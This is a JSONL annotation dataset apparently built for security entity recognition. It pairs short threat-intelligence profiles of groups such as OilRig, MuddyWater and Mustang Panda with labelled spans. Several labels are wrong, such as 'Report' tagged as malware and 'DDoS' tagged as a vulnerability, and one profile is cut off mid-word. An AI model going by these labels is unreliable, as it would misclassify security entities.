+{"text": "LulzSec Black is a hacktivist group that has claimed responsibility for coordinated DDoS attacks against Cyprus' government and critical infrastructure in response to the country's support for Israel. They have also announced cyberattacks targeting the UAE, including breaches of a government website and Alfa Electronics, asserting these actions are in support of Palestine. The group has indicated intentions for further attacks and has not provided independently verifiable evidence of their claims. Their operations reflect a focus on disrupting services and compromising data as part of their political agenda.", "spans": {"THREAT_ACTOR: LulzSec Black": [[0, 13]], "VULNERABILITY: DDoS": [[84, 88]]}, "info": {"source": "apt_reports", "name": "LulzSec Black"}}
+{"text": "According to CrowdStrike, this actor is using BokBok/IcedID, potentially buying distribution through Emotet infections.\nOn March 17, 2019, CrowdStrike Intelligence observed the use of a new BokBot (developed and operated by LUNAR SPIDER) proxy module in conjunction with TrickBot (developed and operated by WIZARD SPIDER), which may provide WIZARD SPIDER with additional tools to steal sensitive information and conduct fraudulent wire transfers. This activity also provides further evidence to support the existence of a flourishing relationship between these two actors.\nLunar Spider is reportedly associated withGrim Spider and Wizard Spider.", "spans": {"THREAT_ACTOR: LUNAR SPIDER": [[224, 236]], "THREAT_ACTOR: WIZARD SPIDER": [[307, 320], [341, 354]], "THREAT_ACTOR: Lunar Spider": [[573, 585]], "ORGANIZATION: CrowdStrike": [[13, 24], [139, 150]], "MALWARE: Wizard Spider": [[631, 644]], "MALWARE: TrickBot": [[271, 279]], "MALWARE: IcedID": [[53, 59]], "MALWARE: Emotet": [[101, 107]], "MALWARE: BokBot": [[190, 196]]}, "info": {"source": "apt_reports", "name": "LUNAR SPIDER"}}
+{"text": "Luna Moth conducts high-tempo callback phishing campaigns targeting legal and financial organizations in the U.S., using social engineering to lure victims into calling fake helpdesk numbers. Attackers impersonate IT staff to install legitimate RMM tools, enabling direct access to victim systems for data exfiltration. The group demands ransoms between $1 million and $8 million, threatening to leak stolen data if payments are not made. Their operations reflect a shift from traditional ransomware tactics to data breach extortion, leveraging trusted systems to evade detection.", "spans": {"THREAT_ACTOR: Luna Moth": [[0, 9]], "VULNERABILITY: phishing": [[39, 47]], "MALWARE: Luna": [[0, 4]]}, "info": {"source": "apt_reports", "name": "Luna Moth"}}
+{"text": "Luoxk is a malware campaign targeting web servers throughout Asia, Europe and North America.", "spans": {"THREAT_ACTOR: Luoxk": [[0, 5]]}, "info": {"source": "apt_reports", "name": "luoxk"}}
+{"text": "Lyceum is an Iranian APT group that has been active since at least 2014. They primarily target Middle Eastern governments and organizations in the energy and telecommunications sectors. Lyceum is known for using cyber espionage techniques and has been linked to other Iranian threat groups such as APT34. They have developed and deployed malware families like Shark and Milan, and have been observed using DNS tunneling and HTTPfor command and control communication.", "spans": {"THREAT_ACTOR: Lyceum": [[0, 6], [186, 192]], "THREAT_ACTOR: APT34": [[298, 303]], "MALWARE: Milan": [[370, 375]], "MALWARE: Shark": [[360, 365]]}, "info": {"source": "apt_reports", "name": "LYCEUM"}}
+{"text": "Kaspersky Lab and Seculert worked together to sinkhole the Madi Command & Control (C&C) servers to monitor the campaign. Kaspersky Lab and Seculert identified more than 800 victims located in Iran, Israel and select countries across the globe connecting to the C&Cs over the past eight months. Statistics from the sinkhole revealed that the victims were primarily business people working on Iranian and Israeli critical infrastructure projects, Israeli financial institutions, Middle Eastern engineering students, and various government agencies communicating in the Middle East.\nCommon applications and websites that were spied on include accounts on Gmail, Hotmail, Yahoo! Mail, ICQ, Skype, Google+, and Facebook. Surveillance is also performed over integrated ERP/CRM systems, business contracts, and financial management systems.", "spans": {"THREAT_ACTOR: Madi": [[59, 63]], "SYSTEM: Kaspersky": [[0, 9], [121, 130]], "SYSTEM: Skype": [[686, 691]], "SYSTEM: Gmail": [[652, 657]], "ORGANIZATION: Facebook": [[706, 714]], "ORGANIZATION: Google": [[693, 699]]}, "info": {"source": "apt_reports", "name": "Madi"}}
+{"text": "Digital threat management company RiskIQ tracks the activity of MageCart group and reported their use of web-based card skimmers since 2016.", "spans": {"THREAT_ACTOR: MageCart": [[64, 72]]}, "info": {"source": "apt_reports", "name": "MageCart"}}
+{"text": "Earliest activity back to November 2008. An established group of cyber attackers based in Iran, who carried on several campaigns in 2013, including a series of attacks targeting political dissidents and those supporting Iranian political opposition.", "spans": {}, "info": {"source": "apt_reports", "name": "Magic Kitten"}}
+{"text": "MalKamak is an Iranian threat actor that has been operating since at least 2018. They have been involved in highly targeted cyber espionage campaigns against global aerospace and telecommunications companies. MalKamak utilizes a sophisticated remote access Trojan called ShellClient, which evades antivirus tools and uses cloud services like Dropbox for command and control.", "spans": {"THREAT_ACTOR: MalKamak": [[0, 8], [209, 217]]}, "info": {"source": "apt_reports", "name": "MalKamak"}}
+{"text": "Crowdstrike tarcks the operators behind the Qbot as MALLARD SPIDER", "spans": {"THREAT_ACTOR: MALLARD SPIDER": [[52, 66]], "MALWARE: Qbot": [[44, 48]]}, "info": {"source": "apt_reports", "name": "MALLARD SPIDER"}}
+{"text": "Malsmoke primarily targets Japanese users through malvertising campaigns that deliver Zloader malware, often leveraging adult content lures and geographic IP information. The group has transitioned from exploit kits, such as Fallout, to social engineering tactics, including fake Java updates, while maintaining a focus on high-traffic adult websites. Their operations are characterized by the use of DGA for C2 server domains and the distribution of payloads via a custom loader, previously relying on Smoke Loader. Connections to past campaigns are evident through similarities in malware masquerading as Java plugins and shared registrar information among domains.", "spans": {"THREAT_ACTOR: Malsmoke": [[0, 8]], "SYSTEM: Java": [[280, 284], [607, 611]], "MALWARE: Smoke": [[503, 508]], "MALWARE: Zloader": [[86, 93]], "MALWARE: Smoke Loader": [[503, 515]]}, "info": {"source": "apt_reports", "name": "Malsmoke"}}
+{"text": "This group of cybercriminals is named Malteiroby SCILabs, they operate and distribute the URSA/Mispadu banking trojan.", "spans": {"MALWARE: Mispadu": [[95, 102]], "MALWARE: URSA": [[90, 94]]}, "info": {"source": "apt_reports", "name": "Malteiro"}}
+{"text": "Markopolo is a threat actor known for running scams targeting cryptocurrency users through a fake app called Vortax. They use social media and a dedicated blog to legitimize their malicious activities. Markopolo has been linked to a credential-harvesting operation and is agile in pivoting to new scams when detected. The actor leverages shared hosting and C2 infrastructure for their malicious builds.", "spans": {"THREAT_ACTOR: Markopolo": [[0, 9], [202, 211]]}, "info": {"source": "apt_reports", "name": "Markopolo"}}
+{"text": "Massgrave is a hacking group that has developed a method to bypass Microsoft's software licensing for Windows and Office, enabling permanent activation of versions from Windows Vista to Windows 11. They are known for creating effective scripts for software activation, which are distributed through an unofficial repository at massgrave.dev. The group claims their exploit supports volume activation via the Key Management Services model and has gained traction within the piracy scene. Reports indicate that their tools may be used by unauthorized individuals, including Microsoft support agents, raising legal and security concerns.", "spans": {"THREAT_ACTOR: Massgrave": [[0, 9]], "SYSTEM: Windows Vista": [[169, 182]], "SYSTEM: Windows 11": [[186, 196]], "SYSTEM: Windows": [[102, 109], [169, 176], [186, 193]], "ORGANIZATION: Microsoft": [[67, 76], [572, 581]]}, "info": {"source": "apt_reports", "name": "Massgrave"}}
+{"text": "Metador primarily targets telecommunications, internet service providers, and universities in several countries in the Middle East and Africa. Metador’s attack chains are designed to bypass native security solutions while deploying malware platforms directly into memory. SentinelLabs researchers discovered variants of two long-standing Windows malware platforms, and indications of an additional Linux implant.", "spans": {"THREAT_ACTOR: Metador": [[0, 7], [143, 150]], "SYSTEM: Windows": [[338, 345]], "SYSTEM: Linux": [[398, 403]]}, "info": {"source": "apt_reports", "name": "Metador"}}
+{"text": "MIMIC SPIDER is mentioned in two summary reports only", "spans": {"THREAT_ACTOR: MIMIC SPIDER": [[0, 12]]}, "info": {"source": "apt_reports", "name": "MIMIC SPIDER"}}
+{"text": "MirrorFace is a Chinese-speaking advanced persistent threat group that has been targeting high-value organizations in Japan, including media, government, diplomatic, and political entities. They have been conducting spear-phishing campaigns, utilizing malware such as LODEINFO and MirrorStealer to steal credentials and exfiltrate sensitive data. While there is speculation about their connection to APT10, ESET currently track them as a separate entity.", "spans": {"THREAT_ACTOR: MirrorFace": [[0, 10]], "THREAT_ACTOR: APT10": [[400, 405]], "SYSTEM: ESET": [[407, 411]], "VULNERABILITY: spear-phishing": [[216, 230]], "VULNERABILITY: phishing": [[222, 230]]}, "info": {"source": "apt_reports", "name": "MirrorFace"}}
+{"text": "Mocha Manakin is a threat actor that employs the paste and run technique for initial access, tricking users into executing scripts that download various payloads, including LummaC2, HijackLoader, and Vidar. This actor is notable for utilizing a bespoke NodeJS-based backdoor named NodeInitRAT, which facilitates persistence and reconnaissance activities while communicating with adversary-controlled servers over HTTP. Mocha Manakin has been linked to Interlock ransomware, and while direct ransomware activity has not been observed, there is moderate confidence that unmitigated activity may lead to such outcomes. The effectiveness of paste and run lures, distributed through methods like phishing and web browser injects, has contributed to the actor's increased scope and scale.", "spans": {"THREAT_ACTOR: Mocha Manakin": [[0, 13], [419, 432]], "VULNERABILITY: phishing": [[691, 699]], "MALWARE: HijackLoader": [[182, 194]], "MALWARE: Vidar": [[200, 205]], "MALWARE: Interlock": [[452, 461]]}, "info": {"source": "apt_reports", "name": "Mocha Manakin"}}
+{"text": "Our research into these intrusions revealed a decade of persistent malicious activity targeting specific groups and individuals that we now attribute to a previously unknown threat actor named ModifiedElephant. This actor has operated for years, evading research attention and detection due to their limited scope of operations, the mundane nature of their tools, and their regionally-specific targeting. ModifiedElephant is still active at the time of writing.", "spans": {"THREAT_ACTOR: ModifiedElephant": [[193, 209], [405, 421]]}, "info": {"source": "apt_reports", "name": "ModifiedElephant"}}
+{"text": "Mogilevich is a ransomware group known for claiming to breach organizations like Epic Games and Ireland's Department of Foreign Affairs, offering stolen data for sale without providing proof of the attacks. They operate as an extortion group, targeting high-profile victims and demanding payment for the data they claim to have stolen. Despite their claims, security researchers have noted that Mogilevich's tactics and website design suggest they may not be a sophisticated threat actor.", "spans": {"THREAT_ACTOR: Mogilevich": [[0, 10], [395, 405]], "MALWARE: Epic": [[81, 85]]}, "info": {"source": "apt_reports", "name": "Mogilevich"}}
+{"text": "Molatori is a threat actor group identified by Malwarebytes researchers, known for utilizing malicious ScreenConnect clients hosted on domains like atmolatori.icu and gomolatori.cyou. They employ phishing tactics, masquerading as communications from the Social Security Administration to lure targets into installing the client. Once installed, the ScreenConnect client allows the actors to remotely access the victim's computer, facilitating the exfiltration of sensitive information such as banking details and personal identification numbers. The primary objective of the Molatori group is financial fraud, leveraging the stolen data for identity theft and other malicious activities.", "spans": {"THREAT_ACTOR: Molatori": [[0, 8], [575, 583]], "TOOL: ScreenConnect": [[103, 116], [349, 362]], "VULNERABILITY: phishing": [[196, 204]]}, "info": {"source": "apt_reports", "name": "Molatori"}}
+{"text": "In October 2012, malware attacks against Israeli government targets grabbed media attention as officials temporarily cut off Internet access for its entire police force and banned the use of USB memory sticks. Security researchers subsequently linked these attacks to a broader, yearlong campaign that targeted not just Israelis but Palestinians as well. and as discovered later, even the U.S. and UK governments. Further research revealed a connection between these attacks and members of the so-called “Gaza Hackers Team.” We refer to this campaign as “Molerats.”", "spans": {"THREAT_ACTOR: Molerats": [[555, 563]]}, "info": {"source": "apt_reports", "name": "Molerats"}}
+{"text": "In less than two years, this group has conducted over 20 successful attacks on financial institutions and legal firms in the USA, UK and Russia. The group has primarily been targeting card processing systems, including the AWS CBR (Russian Interbank System) and purportedly SWIFT (US). Given the wide usage of STAR in LATAM, financial institutions in LATAM could have particular exposure to a potential interest from the MoneyTaker group.", "spans": {"THREAT_ACTOR: MoneyTaker": [[421, 431]], "SYSTEM: AWS": [[223, 226]]}, "info": {"source": "apt_reports", "name": "MoneyTaker"}}
+{"text": "Spambots continued to decline in 2019, with MONTY SPIDER’s CraP2P spambot falling silent in April.", "spans": {"THREAT_ACTOR: MONTY SPIDER": [[44, 56]]}, "info": {"source": "apt_reports", "name": "MONTY SPIDER"}}
+{"text": "Mora_001 is a threat actor exhibiting a distinct operational signature that combines opportunistic attacks with ties to the LockBit ecosystem. The actor has been observed exploiting CVE-2024-55591 and CVE-2025-24472 vulnerabilities affecting Fortinet devices. The ransom note associated with Mora_001 includes the same TOX ID used by LockBit, indicating a potential affiliation or shared communication channels. Their post-exploitation patterns suggest a structured playbook that differentiates them from other ransomware operators, including LockBit affiliates.", "spans": {"CVE_ID: CVE-2024-55591": [[182, 196]], "CVE_ID: CVE-2025-24472": [[201, 215]], "THREAT_ACTOR: Mora_001": [[0, 8], [292, 300]], "SYSTEM: Fortinet": [[242, 250]]}, "info": {"source": "apt_reports", "name": "Mora_001"}}
+{"text": "MORH4x is a self-proclaimed Moroccan hacking group that claimed responsibility for a data leak from Algeria's pharmaceutical industry ministry. The group announced the breach on the BreachForums website, stating that the leaked files span from 2019 to 2025 and include internal documents related to Algeria's pharmaceutical imports. This incident is part of a series of escalating cyberattacks between Moroccan and Algerian hacking groups.", "spans": {"THREAT_ACTOR: MORH4x": [[0, 6]]}, "info": {"source": "apt_reports", "name": "MORH4x"}}
+{"text": "Cybereason Nocturnus describes Moses Staff as an Iranian hacker group, first spotted in October 2021. Their motivation appears to be to harm Israeli companies by leaking sensitive, stolen data.", "spans": {"ORGANIZATION: Cybereason": [[0, 10]], "MALWARE: Moses Staff": [[31, 42]]}, "info": {"source": "apt_reports", "name": "MosesStaff"}}
+{"text": "Moshen Dragon is a Chinese-aligned cyberespionage threat actor operating in Central Asia. They have been observed deploying multiple malware triads and utilizing DLL search order hijacking to sideload ShadowPad and PlugX variants. The threat actor also employs various tools, including an LSA notification package and a passive backdoor known as GUNTERS. Their activities involve targeting the telecommunication sector and leveraging Impacket for lateral movement and data exfiltration.", "spans": {"THREAT_ACTOR: Moshen Dragon": [[0, 13]], "TOOL: Impacket": [[434, 442]], "VULNERABILITY: DLL search order hijacking": [[162, 188]], "MALWARE: PlugX": [[215, 220]], "MALWARE: ShadowPad": [[201, 210]]}, "info": {"source": "apt_reports", "name": "Moshen Dragon"}}
+{"text": "MoustachedBouncer is a cyberespionage group discovered by ESET Research and first publicly disclosed in August 2023. The group has been active since at least 2014 and only targets foreign embassies in Belarus. Since 2020, MoustachedBouncer has most likely been able to perform adversary-in-the-middle (AitM) attacks at the ISP level, within Belarus, in order to compromise its targets. The group uses two separate toolsets that we have named NightClub and Disco.", "spans": {"THREAT_ACTOR: MoustachedBouncer": [[0, 17], [222, 239]], "SYSTEM: ESET": [[58, 62]], "MALWARE: Disco": [[456, 461]], "MALWARE: NightClub": [[442, 451]]}, "info": {"source": "apt_reports", "name": "MoustachedBouncer"}}
+{"text": "The MuddyWater attacks are primarily against Middle Eastern nations. However, we have also observed attacks against surrounding nations and beyond, including targets in India and the USA. MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call “POWERSTATS”. Despite broad scrutiny and reports on MuddyWater attacks, the activity continues with only incremental changes to the tools and techniques.", "spans": {"THREAT_ACTOR: MuddyWater": [[4, 14], [188, 198], [355, 365]], "TOOL: PowerShell": [[257, 267]], "MALWARE: POWERSTATS": [[304, 314]]}, "info": {"source": "apt_reports", "name": "MuddyWater"}}
+{"text": "MUMMY SPIDER is a criminal entity linked to the core development of the malware most commonly known as Emotet or Geodo. First observed in mid-2014, this malware shared code with the Bugat (aka Feodo) banking Trojan. However, MUMMY SPIDER swiftly developed the malware’s capabilities to include an RSA key exchange for command and control (C2) communication and a modular architecture.\nMUMMY SPIDER does not follow typical criminal behavioral patterns. In particular, MUMMY SPIDER usually conducts attacks for a few months before ceasing operations for a period of between three and 12 months, before returning with a new variant or version.\nAfter a 10 month hiatus, MUMMY SPIDER returned Emotet to operation in December 2016 but the latest variant is not deploying a banking Trojan module with web injects, it is currently acting as a ‘loader’ delivering other malware packages. The primary modules perform reconnaissance on victim machines, drop freeware tools for credential collection from web browsers and mail clients and a spam plugin for self-propagation. The malware is also issuing commands to download and execute other malware families such as the banking Trojans Dridex and Qakbot.\n MUMMY SPIDER advertised Emotet on underground forums until 2015, at which time it became private. Therefore, it is highly likely that Emotet is operate", "spans": {"THREAT_ACTOR: MUMMY SPIDER": [[0, 12], [225, 237], [385, 397], [467, 479], [666, 678], [1195, 1207]], "ORGANIZATION: RSA": [[297, 300]], "MALWARE: Bugat": [[182, 187]], "MALWARE: Geodo": [[113, 118]], "MALWARE: Emotet": [[103, 109], [688, 694], [1219, 1225], [1329, 1335]], "MALWARE: Dridex": [[1175, 1181]], "MALWARE: Feodo": [[193, 198]]}, "info": {"source": "apt_reports", "name": "MUMMY SPIDER"}}
+{"text": "MurenShark is an advanced persistent threat group that operates primarily in the Middle East, with a focus on targeting Turkey. They have shown interest in military projects, as well as research institutes and universities. This group is highly skilled in counter-analysis and reverse traceability, using sophisticated tactics to avoid detection. They utilize compromised websites as file servers and command and control servers, and have been known to use attack tools like NiceRender for phishing purposes.", "spans": {"THREAT_ACTOR: MurenShark": [[0, 10]], "VULNERABILITY: phishing": [[490, 498]]}, "info": {"source": "apt_reports", "name": "MurenShark"}}
+{"text": "This threat actor targets nongovernmental organizations using Mongolian-themed lures for espionage purposes.\nIn April 2017, CrowdStrike Falcon Intelligence observed a previously unattributed actor group with a Chinese nexus targeting a U.S.-based think tank. Further analysis revealed a wider campaign with unique tactics, techniques, and procedures (TTPs). This adversary targets non-governmental organizations (NGOs) in general, but uses Mongolian language decoys and themes, suggesting this actor has a specific focus on gathering intelligence on Mongolia. These campaigns involve the use of shared malware like Poison Ivy or PlugX.\nRecently, Falcon Intelligence observed new activity from MUSTANG PANDA, using a unique infection chain to target likely Mongolia-based victims. This newly observed activity uses a series of redirections and fileless, malicious implementations of legitimate tools to gain access to the targeted systems. Additionally, MUSTANG PANDA actors reused previously-observed legitimate domains to host files.", "spans": {"THREAT_ACTOR: MUSTANG PANDA": [[693, 706], [953, 966]], "SYSTEM: CrowdStrike Falcon": [[124, 142]], "ORGANIZATION: CrowdStrike": [[124, 135]], "MALWARE: PlugX": [[629, 634]]}, "info": {"source": "apt_reports", "name": "MUSTANG PANDA"}}
+{"text": "Mustard Tempest is a threat actor that primarily uses malvertising as their main technique to gain access to and profile networks. They deploy FakeUpdates, disguised as browser updates or software packages, to lure targets into downloading a ZIP file containing a JavaScript file. Once executed, the JavaScript framework acts as a loader for other malware campaigns, often Cobalt Strike payloads. Mustard Tempest has been associated with the cybercrime syndicate Mustard Tempest, also known as EvilCorp, and has been involved in ransomware attacks using payloads such as WastedLocker, PhoenixLocker, and Macaw.", "spans": {"THREAT_ACTOR: Mustard Tempest": [[0, 15], [397, 412], [463, 478]], "THREAT_ACTOR: Cobalt": [[373, 379]], "TOOL: Cobalt Strike": [[373, 386]], "MALWARE: WastedLocker": [[571, 583]]}, "info": {"source": "apt_reports", "name": "Mustard Tempest"}}
+{"text": "Arcane Werewolf has been observed targeting Russian manufacturing enterprises through phishing emails that lead to malicious links and spoofed websites. The actor has utilized ZIP archives containing malicious LNK files and a C++ dropper in their campaigns. Their infrastructure includes a C2 server disguised as a Russian manufacturing company website. Kaspersky researchers have noted their evolving TTPs, indicating either a new group or one that has significantly improved its methods.", "spans": {"SYSTEM: Kaspersky": [[354, 363]], "VULNERABILITY: phishing": [[86, 94]], "MALWARE: Arcane": [[0, 6]]}, "info": {"source": "apt_reports", "name": "Mythic Likho"}}
+{"text": "In March 2022, a hacking group calling themselves N4ughtySecTU claimed to have breached TransUnion’s systems and threatened to leak four terabytes of data if the credit bureau didn’t pay a $15-million (R242-million) ransom.", "spans": {"THREAT_ACTOR: N4ughtySecTU": [[50, 62]]}, "info": {"source": "apt_reports", "name": "N4ughtysecTU"}}
+{"text": "Kaspersky described Naikon in a 2015 report as: 'The Naikon group is mostly active in countries such as the Philippines, Malaysia, Cambodia, Indonesia, Vietnam, Myanmar, Singapore, and Nepal, hitting a variety of targets in a very opportunistic way.'", "spans": {"THREAT_ACTOR: Naikon": [[20, 26], [53, 59]], "SYSTEM: Kaspersky": [[0, 9]]}, "info": {"source": "apt_reports", "name": "Naikon"}}
+{"text": "Nam3L3ss is a threat actor who has leaked data from 25 companies, including over 2.8 million lines of Amazon employee data, which was confirmed to be stolen from a third-party service provider. The actor is distributing this data on BreachForums and claims to have numerous unreleased datasets.", "spans": {"THREAT_ACTOR: Nam3L3ss": [[0, 8]], "ORGANIZATION: Amazon": [[102, 108]]}, "info": {"source": "apt_reports", "name": "Nam3L3ss"}}
+{"text": "NARWHAL SPIDER’s operation of Cutwail v2 was limited to country-specific spam campaigns, although late in 2019 there appeared to be an effort to expand by bringing in INDRIK SPIDER as a customer.", "spans": {"THREAT_ACTOR: NARWHAL SPIDER": [[0, 14]], "THREAT_ACTOR: INDRIK SPIDER": [[167, 180]], "TOOL: expand": [[145, 151]]}, "info": {"source": "apt_reports", "name": "NARWHAL SPIDER"}}
+{"text": "Natohub is a hacker who claimed to have stolen 42,000 documents from the UN’s International Civil Aviation Organization and is offering the data for sale on underground forums. The compromised documents allegedly contain personal records of ICAO staff and others associated with the agency. While ICAO is investigating the potential breach, Natohub has also made unverified claims about accessing personal data on thousands of UN delegates. The actor's track record of leaks is limited, raising questions about the credibility of their assertions.", "spans": {"THREAT_ACTOR: Natohub": [[0, 7], [341, 348]]}, "info": {"source": "apt_reports", "name": "Natohub"}}
+{"text": "This actor was identified by Juan Andres Guerrero-Saade from the SIG37 cluster as published in the ShadowBrokers' 'Lost in Translation' leak. Earliest known sighting potentially dates back to as far as 2008 with a confirmed center of activity around 2010-2013. The actor name is derived from a PDB debug string fragment: 'khzer'. Victimology indicates targeting of Iran, assessed with low confidence based on VT file submission locations. Nazar employs a modular toolkit where a main dropper silently registers multiple DLLs as OLE controls in the Windows registry. Functionality includes keylogging, sound and screen grabbing, as well as traffic capture using the MicroOlap Packet Sniffer library.", "spans": {"THREAT_ACTOR: Nazar": [[439, 444]], "SYSTEM: Windows": [[548, 555]], "VULNERABILITY: keylogging": [[589, 599]]}, "info": {"source": "apt_reports", "name": "Nazar"}}
+{"text": "Network Battalion 65 is an hactivist group with ties to Anonymous, known for attacking Russian companies and performing hack-and-leak operations.", "spans": {}, "info": {"source": "apt_reports", "name": "NB65"}}
+{"text": "NEODYMIUM is an activity group that is known to use a backdoor malware detected by Microsoft as Wingbird. This backdoor’s characteristics closely match FinFisher, a government-grade commercial surveillance package. Data about Wingbird activity indicate that it is typically used to attack individual computers instead of networks.", "spans": {"THREAT_ACTOR: NEODYMIUM": [[0, 9]], "ORGANIZATION: Microsoft": [[83, 92]], "MALWARE: Wingbird": [[96, 104], [226, 234]], "MALWARE: FinFisher": [[152, 161]]}, "info": {"source": "apt_reports", "name": "NEODYMIUM"}}
+{"text": "NetRunnerPR has claimed to breach the networks of Shiraume Hospital and Nippon Medical School Musashi Kosugi Hospital in Japan, exfiltrating patient PII and medical records. The actor announced plans to release a complete database on March 5, 2026, and an additional 20,000 records on February 16, 2026, contingent on undisclosed conditions. The claims were made on a cybercrime forum, accompanied by sample data to validate the breaches. NetRunnerPR's account shows limited activity history and lacks a documented history of major ransomware operations or confirmed breaches, raising questions about the credibility of the claims.", "spans": {"THREAT_ACTOR: NetRunnerPR": [[0, 11], [439, 450]]}, "info": {"source": "apt_reports", "name": "NetRunnerPR"}}
+{"text": "NewsPenguin is threat actor that has been targeting organizations in Pakistan. They use a complex payload delivery mechanism and exploit the upcoming Pakistan International Maritime Expo & Conference as a lure to trick their victims. The group has been linked to a phishing campaign that leverages spear-phishing emails and weaponized documents to deliver an advanced espionage tool.", "spans": {"THREAT_ACTOR: NewsPenguin": [[0, 11]], "VULNERABILITY: spear-phishing": [[298, 312]], "VULNERABILITY: phishing": [[265, 273], [304, 312]]}, "info": {"source": "apt_reports", "name": "NewsPenguin"}}
+{"text": "Nexus Zeta is no stranger when it comes to implementing SOAP related exploits. The threat actor has already been observed in implementing two other known SOAP related exploits, CVE-2014–8361 and CVE-2017–17215 in his Satori botnet project. A third SOAP exploit, TR-069 bug has also been observed previously in IoT botnets. This makes EDB 38722 the fourth SOAP related exploit which is discovered in the wild by IoT botnets.", "spans": {"THREAT_ACTOR: Nexus Zeta": [[0, 10]], "MALWARE: Satori": [[217, 223]]}, "info": {"source": "apt_reports", "name": "Nexus Zeta"}}
+{"text": "NightEagle is an advanced Threat Actor that targeted China's High-Tech Industry and Military Organisation, leveraging sophisticated techniques, 0 days, and specialized detection avoiding malware. The threat actor seems to have access to significant funding, with dedicated infrastructure, and focuses on low-noise, low-impact intelligence gathering operations. NightEagle is identified as a North-American, state-sponsored or affiliated group that has been active since at least 2023.", "spans": {"THREAT_ACTOR: NightEagle": [[0, 10], [361, 371]]}, "info": {"source": "apt_reports", "name": "NightEagle"}}
+{"text": "These attackers were the subject of an extensive report by Symantec in 2011, which termed the attackers Nitro and stated: 'The goal of the attackers appears to be to collect intellectual property such as design documents, formulas, and manufacturing processes. In addition, the same attackers appear to have a lengthy operation history including attacks on other industries and organizations. Attacks on the chemical industry are merely their latest attack wave. As part of our investigations, we were also able to identify and contact one of the attackers to try and gain insights into the motivations behind these attacks.' Palo Alto Networks reported on continued activity by the attackers in 2014.", "spans": {"THREAT_ACTOR: Nitro": [[104, 109]], "SYSTEM: Symantec": [[59, 67]], "SYSTEM: Palo Alto": [[626, 635]], "ORGANIZATION: Palo Alto Networks": [[626, 644]]}, "info": {"source": "apt_reports", "name": "Nitro"}}
+{"text": "Mentioned as MaaS operator in CrowdStrike's 2020 Report.", "spans": {"ORGANIZATION: CrowdStrike": [[30, 41]], "MALWARE: Report": [[49, 55]]}, "info": {"source": "apt_reports", "name": "NOCTURNAL SPIDER"}}
+{"text": "In the first quarter of 2018, CrowdStrike Intelligence identified NOMAD PANDA activity targeting Central Asian nations with exploit documents built with the 8.t tool.", "spans": {"THREAT_ACTOR: NOMAD PANDA": [[66, 77]], "ORGANIZATION: CrowdStrike": [[30, 41]]}, "info": {"source": "apt_reports", "name": "NOMAD PANDA"}}
+{"text": "NoName057(16) is performing DDoS attacks on websites belonging to governments, news agencies, armies, suppliers, telecommunications companies, transportation authorities, financial institutions, and more in Ukraine and neighboring countries supporting Ukraine, like Ukraine itself, Estonia, Lithuania, Norway, and Poland.", "spans": {"THREAT_ACTOR: NoName057(16)": [[0, 13]], "VULNERABILITY: DDoS": [[28, 32]]}, "info": {"source": "apt_reports", "name": "NoName057(16)"}}
+{"text": "Researchers at FireEye report finding a hacking group (dubbed NOTROBIN) that has been bundling mitigation code for NetScaler servers with its exploits. In effect, the hackers exploit the flaw to get access to the server, kill any existing malware, set up their own backdoor, then block off the vulnerable code from future exploit attempts by mitigation.", "spans": {"THREAT_ACTOR: NOTROBIN": [[62, 70]], "ORGANIZATION: FireEye": [[15, 22]]}, "info": {"source": "apt_reports", "name": "NOTROBIN"}}
+{"text": "NullBulge is a cybercriminal threat group targeting AI and gaming focused entities. They weaponize code in publicly available repositories to distribute malware, including LockBit ransomware. The group claims to be motivated by a pro-art, anti-AI cause, but their activities indicate a financial focus. NullBulge uses obfuscated code in public repositories and malicious mods to target their victims.", "spans": {"THREAT_ACTOR: NullBulge": [[0, 9], [303, 312]]}, "info": {"source": "apt_reports", "name": "Nullbulge"}}
+{"text": "OilAlpha has almost exclusively relied on infrastructure associated with the Public Telecommunication Corporation (PTC), a Yemeni government-owned enterprise reported to be under the direct control of the Houthi authorities. OilAlpha used encrypted chat messengers like WhatsApp to launch social engineering attacks against its targets. It has also used URL link shorteners. Per victimology assessment, it appears a majority of the targeted entities were Arabic-language speakers and operated Android devices.", "spans": {"THREAT_ACTOR: OilAlpha": [[0, 8], [225, 233]], "SYSTEM: WhatsApp": [[270, 278]], "SYSTEM: Android": [[493, 500]]}, "info": {"source": "apt_reports", "name": "OilAlpha"}}
+{"text": "OilRig is an Iranian threat group operating primarily in the Middle East by targeting organizations in this region that are in a variety of different industries; however, this group has occasionally targeted organizations outside of the Middle East as well. It also appears OilRig carries out supply chain attacks, where the threat group leverages the trust relationship between organizations to attack their primary targets. \r\n\r\nOilRig is an active and organized threat group, which is evident based on their systematic targeting of specific organizations that appear to be carefully chosen for strategic purposes. Attacks attributed to this group primarily rely on social engineering to exploit the human rather than software vulnerabilities; however, on occasion this group has used recently patched vulnerabilities in the delivery phase of their attacks. The lack of software vulnerability exploitation does not necessarily suggest a lack of sophistication, as OilRig has shown maturity in other aspects of their operations. Such maturities involve:\r\n\r\n-Organized evasion testing used the during development of their tools.\r\n-Use of custom DNS Tunneling protocols for command and control (C2) and data exfiltration.\r\n-Custom web-shells and backdoors used to persistently access servers.\r\n\r\nOilRig relies on stolen account credentials for lateral movement. After OilRig gains access to a system, they use credential dumping tools, such as Mimikatz, to steal credentials to accounts logged into the compromised system. The group uses these credentials to access and to move laterally to other systems on the network. After obtaining credentials from a system, operators in this group prefer to use tools other than their backdoors to access the compromised systems, such as remote desktop and putty. OilRig also uses phishing sites to harvest credentials to individuals at targeted organizations to gain access to internet accessible resources, such as Outlook Web Access.\n\n\n\nSince at least 2014, an Iranian threat group tracked by FireEye as APT34 has conducted reconnaissance aligned with the strategic interests of Iran. The group conducts operations primarily in the Middle East, targeting financial, government, energy, chemical, telecommunications and other industries. Repeated targeting of Middle Eastern financial, energy and government organizations leads FireEye to assess that those sectors are a primary concern of APT34. The use of infrastructure tied to Iranian operations, timing and alignment with the national interests of Iran also lead FireEye to assess that APT34 acts on behalf of the Iranian government.", "spans": {"THREAT_ACTOR: OilRig": [[0, 6], [274, 280], [430, 436], [965, 971], [1294, 1300], [1366, 1372], [1802, 1808]], "THREAT_ACTOR: APT34": [[2045, 2050], [2430, 2435], [2581, 2586]], "TOOL: Mimikatz": [[1442, 1450]], "SYSTEM: Outlook": [[1955, 1962]], "ORGANIZATION: FireEye": [[2034, 2041], [2368, 2375], [2558, 2565]], "VULNERABILITY: credential dumping": [[1408, 1426]], "VULNERABILITY: phishing": [[1819, 1827]]}, "info": {"source": "apt_reports", "name": "OilRig"}}
